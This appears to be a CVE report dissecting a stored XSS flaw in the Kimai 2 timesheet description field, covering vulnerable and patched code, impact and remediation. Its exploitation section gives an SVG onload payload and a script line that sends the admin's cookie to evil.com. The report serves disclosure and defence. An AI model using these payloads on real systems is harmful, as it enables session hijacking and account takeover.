CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2019-25317

Time is Money, and XSS: Dissecting CVE-2019-25317 in Kimai 2

Alon Barad
Alon Barad
Software Engineer

Feb 11, 2026·6 min read·12 visits

Executive Summary (TL;DR)

Kimai 2 < 1.1 contains a Stored XSS vulnerability in the timesheet description field. The application failed to sanitize Markdown input, allowing authenticated users to inject arbitrary HTML/JavaScript. When an admin views the timesheet, the payload executes, leading to potential session hijacking.

In the world of open-source time tracking, Kimai 2 is a popular choice for freelancers and companies alike. However, a nasty skeleton was hiding in the closet (or rather, the timesheets) of versions prior to 1.1. This vulnerability, a classic Stored Cross-Site Scripting (XSS) flaw, allowed any disgruntled employee with basic access to turn their weekly report into a weapon against their employer. By abusing the application's markdown rendering logic, attackers could inject malicious JavaScript that would execute the moment an administrator reviewed the logged hours.

Clocking In... to a Shell?

Time tracking software is usually the most boring part of a developer's day. You log your hours, you describe what you did, and you hope someone approves the invoice. But in Kimai 2, that mundane 'description' field was a ticking time bomb. CVE-2019-25317 is a Stored Cross-Site Scripting (XSS) vulnerability that turned the simple act of logging work into a vector for privilege escalation.

The premise is simple: Kimai allows users to format their timesheet descriptions using Markdown. This is a nice feature for readability—bold text, lists, maybe a link to a commit. However, the developers forgot the golden rule of web security: never trust user input. Because the application blindly rendered Markdown into HTML without sanitization, it created a scenario where a low-privileged user (like a contractor or junior dev) could plant a trap for a high-privileged user (like a project manager or admin).

It’s a classic "watering hole" attack, but the watering hole is the payroll system. The attacker doesn't need to phish the admin; they just need to wait for payday. When the admin logs in to approve hours, the browser executes the malicious payload, potentially handing over session cookies and administrative control on a silver platter.

The Flaw: Trusting the Parser

The root cause of this vulnerability lies in how Kimai handled Markdown parsing. Markdown parsers often have a "feature" that allows raw HTML to be embedded directly into the text. If you don't explicitly disable this feature, <script>alert(1)</script> is valid Markdown. And that is exactly what happened here.

Kimai utilized a Twig filter called desc2html to process user input. This filter mapped back to a PHP method markdownToHtml within the MarkdownExtension.php file. The critical error wasn't in using Markdown, but in the configuration of the parser. The developers explicitly told the parser to allow HTML tags.

Here is the logic flaw in a nutshell: The application took the user's raw input from the database and passed it directly to a parser configured to respect HTML tags. It didn't strip dangerous tags, it didn't encode entities, and it didn't use a Content Security Policy (CSP) to mitigate the damage. It just rendered whatever the user typed, effectively letting the inmates run the asylum.

The Smoking Gun

Let's look at the code. The vulnerability existed primarily in src/Twig/MarkdownExtension.php. The markdownToHtml function accepted content and passed it to the underlying markdown engine. Notice the second parameter in the toHtml call below.

Vulnerable Code (Before Patch):

public function markdownToHtml(string $content): string
{
    // The 'true' flag here enables raw HTML parsing!
    return $this->markdown->toHtml($content, true);
}

That single true boolean was the difference between a bold font and a stolen session. But it gets worse. In the Twig templates (like templates/timesheet/index.html.twig), the output was piped directly to this filter without any prior escaping.

Vulnerable Template:

<td class="timesheet-description">
    {{ entry.description|desc2html }}
</td>

The Fix (Commit a0e8aa): The patch did two things. First, it flipped the boolean to false in the PHP extension to disable raw HTML. Second, and perhaps more importantly, it updated the templates to escape the input before passing it to the markdown converter. This ensures that even if the parser slips up, the browser sees &lt;script&gt; instead of <script>.

Patched Code:

public function markdownToHtml(string $content): string
{
    return $this->markdown->toHtml($content, false);
}

Patched Template:

<td class="timesheet-description">
    {{ entry.description|escape|desc2html }}
</td>

Exploitation: How to Break It

Exploiting this is trivially easy for anyone with an account. You don't need fancy tools; a browser and a bit of malice will do. The goal is to inject a JavaScript payload that executes when the victim views the timesheet listing.

The Attack Chain:

  1. Log in as a low-level user.
  2. Create a Timesheet: Navigate to /timesheet/create.
  3. Inject Payload: In the "Description" field, insert the following:
    "><svg/onload=alert('System_Compromised')>
    The leading "> helps break out of any potential attribute contexts, though in this case, we are mostly just concerned with the raw rendering.
  4. Wait: The payload is now stored in the database.
  5. Trigger: When the Administrator logs in to review the week's logs, the browser parses the SVG tag. The onload event fires immediately, executing the JavaScript.

In a real-world scenario, an attacker wouldn't just pop an alert box. They would inject something like this to steal the admin's session ID:

<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>

Once the attacker has the PHPSESSID, they can hijack the admin's session, create a new admin account for themselves, or exfiltrate sensitive client data.

The Impact: More Than Just Alerts

Why should we care about XSS in an internal tool? Because internal tools often hold the keys to the kingdom. Kimai is used for invoicing, project management, and budget tracking. Access to this system as an administrator allows an attacker to:

  • Modify Invoices: Alter bank details or amounts.
  • Exfiltrate Data: Steal client lists, project details, and employee habits.
  • Pivot: If the admin uses the same password for Kimai as they do for the production server (and let's be honest, they probably do), this is a stepping stone to a full infrastructure compromise.

The CVSS score is 6.4 (Medium), which feels deceptively low. In a targeted engagement, this is a gold mine. It turns a valid, low-privilege access credential into full administrative control with zero interaction required from the attacker after the initial implant.

Remediation: Locking the Door

The fix is straightforward, but it highlights the importance of defense-in-depth.

Immediate Steps:

  1. Upgrade: Ensure you are running Kimai 2 version 1.1 or later. The patch was merged in July 2019, so if you are vulnerable, you are very behind on updates.
  2. Audit: Check your kimai2_timesheet table. Run a SQL query looking for %<script>%, %onload=%, or %javascript:%. If you find any, you might already have a breach.

Developer Takeaway: When using template engines like Twig, always understand the order of operations. escape filters should usually come first when dealing with user input that will be transformed by another filter. Relying solely on the markdown parser's configuration is risky; explicit escaping provides a safety net that catches errors even if the parser configuration accidentally changes in the future.

Official Patches

KimaiGitHub Pull Request #962 fixing the issue

Fix Analysis (1)

Technical Appendix

CVSS Score
6.4/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Affected Systems

Kimai 2 versions <= 1.0.1

Affected Versions Detail

Product
Affected Versions
Fixed Version
Kimai 2
Kevin Papst
<= 1.0.11.1
AttributeDetail
CWE IDCWE-79
CVSS v3.16.4 (Medium)
Attack VectorNetwork (Stored)
Privileges RequiredLow (Authenticated User)
ImpactConfidentiality & Integrity (Session Hijacking)
Exploit StatusPoC Available (EDB-47286)

MITRE ATT&CK Mapping

T1059.007Command and Scripting Interpreter: JavaScript
Execution
T1552.002Unsecured Credentials: Web Session Cookie
Credential Access
T1189Drive-by Compromise
Initial Access
CWE-79
Cross-site Scripting

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Known Exploits & Detection

Exploit-DBPersistent Cross-Site Scripting PoC via Timesheet Description

Vulnerability Timeline

Vendor Patched via PR #962
2019-07-14
Public Exploit Released (EDB-47286)
2019-08-19
CVE Record Published in NVD
2026-02-11

References & Sources

  • [1]Kimai 2 PR #962
  • [2]Exploit-DB Entry 47286

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 7 hours ago•CVE-2026-48861
2.1

CVE-2026-48861: HTTP Request Splitting and Smuggling via Method Parameter CRLF Injection in Elixir Mint

CVE-2026-48861 is a client-side HTTP request-line CRLF (Carriage Return Line Feed) injection vulnerability in the popular Elixir HTTP client library, Mint. The vulnerability permits HTTP Request Splitting and HTTP Request Smuggling when an application forwards untrusted, attacker-controlled inputs to Mint's HTTP client requests as either the HTTP request method or target. By embedding CRLF characters within these parameters, an attacker can terminate the request line prematurely, inject malicious headers, or pipeline entirely independent requests. These smuggled requests are then processed by upstream or downstream proxy servers as separate HTTP queries on the same TCP connection. While Mint version 1.7.0 introduced target validation to secure the request target, the HTTP request method parameter remained completely unvalidated. This flaw allows attackers to bypass routing filters, access restricted internal APIs, or poison HTTP caches under default configurations.

Amit Schendel
Amit Schendel
4 views•7 min read
•about 7 hours ago•CVE-2026-49753
6.3

CVE-2026-49753: HTTP Request/Response Smuggling via Inconsistent Content-Length Parsing in Elixir Mint Client

An Inconsistent Interpretation of HTTP Requests (HTTP Request/Response Smuggling) vulnerability in the Elixir Mint HTTP client allows attacker-controlled HTTP/1 servers to desynchronize response framing on shared connections due to over-lenient parsing of sign-prefixed Content-Length headers.

Amit Schendel
Amit Schendel
6 views•6 min read
•about 8 hours ago•CVE-2026-49754
8.2

CVE-2026-49754: Denial of Service via Unbounded HTTP/2 CONTINUATION Frame Accumulation in Elixir Mint

An allocation of resources without limits or throttling vulnerability in Elixir Mint allows an attacker-controlled HTTP/2 server to exhaust memory in a Mint client. The vulnerability is exploited by sending a HEADERS frame without the END_HEADERS flag followed by an infinite stream of CONTINUATION frames. Because the client lacks limits on the incoming header-block accumulator, the client continuously consumes memory until an out-of-memory crash occurs.

Amit Schendel
Amit Schendel
7 views•6 min read
•about 8 hours ago•CVE-2026-48596
2.1

CVE-2026-48596: Improper Neutralization of CRLF Sequences in Elixir Tesla Multipart HTTP Client

CVE-2026-48596 is an Improper Neutralization of CRLF Sequences in HTTP Headers (HTTP Request/Response Splitting, CWE-113) in the Elixir Tesla HTTP client. The flaw resides in how multipart content-type parameters are joined and serialized, enabling attackers to inject arbitrary headers or split HTTP requests when applications pass untrusted inputs to the parameters of multipart uploads.

Alon Barad
Alon Barad
5 views•6 min read
•about 9 hours ago•CVE-2026-48594
8.2

CVE-2026-48594: Decompression Bomb Denial of Service in Elixir Tesla HTTP Client

An improper handling of highly compressed data (decompression bomb) vulnerability exists in the Elixir Tesla HTTP client when utilizing response decompression middlewares. By serving highly compressed responses or stacked content-encoding headers, a malicious server can cause arbitrary heap exhaustion, leading to a denial of service (DoS) crash in the BEAM virtual machine.

Amit Schendel
Amit Schendel
6 views•6 min read
•about 9 hours ago•CVE-2026-48595
8.2

CVE-2026-48595: Cross-Origin Credential Leakage in Elixir Tesla Client via Case-Sensitive Redirect Filter Bypass

A high-severity security vulnerability in Elixir's Tesla HTTP client library (CVE-2026-48595) allows unauthenticated remote attackers to harvest sensitive credentials, including Authorization headers and cookies. The flaw resides in the 'Tesla.Middleware.FollowRedirects' component, which performs case-sensitive lookups when stripping credentials during cross-origin redirects. Because HTTP headers are case-insensitive by RFC specifications, standard canonical casing (e.g., 'Authorization') bypasses the lowercase-only blocklist, leaking tokens to untrusted external redirect destinations.

Alon Barad
Alon Barad
6 views•5 min read